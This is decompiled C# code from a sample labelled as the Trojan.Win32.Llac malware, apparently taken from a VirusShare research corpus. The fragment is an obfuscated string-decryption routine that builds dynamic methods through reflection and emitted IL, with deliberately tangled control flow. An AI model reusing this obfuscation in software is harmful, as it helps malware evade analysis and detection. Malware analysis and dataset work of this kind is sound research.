// Decompiled with JetBrains decompiler // Type: . // Assembly: Stub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null // MVID: 18A6455A-DBC9-4D4B-8699-BEBEFCABEF8D // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.aimt-d60eebfa06f055ff7e8bef8d4507b58d2922f6e9f6682bbf0d9c0884bab4acb2.exe using System; using System.Reflection; using System.Reflection.Emit; using System.Runtime.InteropServices; namespace \u0001 { internal static class \u0004 { public static void \u0002([In] Type obj0) { int index1; FieldInfo[] fields; do { fields = obj0.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField); index1 = 0; } while (false); for (; index1 < fields.Length; ++index1) { FieldInfo fieldInfo = fields[index1]; label_4: try { while ((object) fieldInfo.FieldType == (object) typeof (\u0001.\u0002)) { DynamicMethod dynamicMethod = new DynamicMethod(string.Empty, typeof (string), new Type[1] { typeof (int) }, obj0, true); ILGenerator ilGenerator = dynamicMethod.GetILGenerator(); ilGenerator.Emit(OpCodes.Ldarg_0); MethodInfo[] methods = typeof (\u0002.\u0002).GetMethods(BindingFlags.Static | BindingFlags.Public); int index2 = 0; while (true) { int num1 = index2; int num2; while (true) { int num3 = methods.Length; int num4; while (true) { num4 = num3; if (false) num3 = num4; else break; } MethodInfo meth; if (num1 < num4) meth = methods[index2]; else goto label_18; label_7: if ((object) meth.ReturnType == (object) typeof (string)) { if (true) { ilGenerator.Emit(OpCodes.Ldc_I4, fieldInfo.MetadataToken & 16777215); ilGenerator.Emit(OpCodes.Sub); ilGenerator.Emit(OpCodes.Call, meth); } else goto label_4; } else { int num5 = index2; while (true) { num2 = num5 + 1; if (true) { if (false) num5 = num2; else goto label_13; } else break; } num1 = num2; continue; } label_18: ilGenerator.Emit(OpCodes.Ret); fieldInfo.SetValue((object) null, (object) dynamicMethod.CreateDelegate(typeof (\u0001.\u0002))); if (false) goto label_7; else goto label_19; } label_13: index2 = num2; } label_19: return; } } catch { } } } } }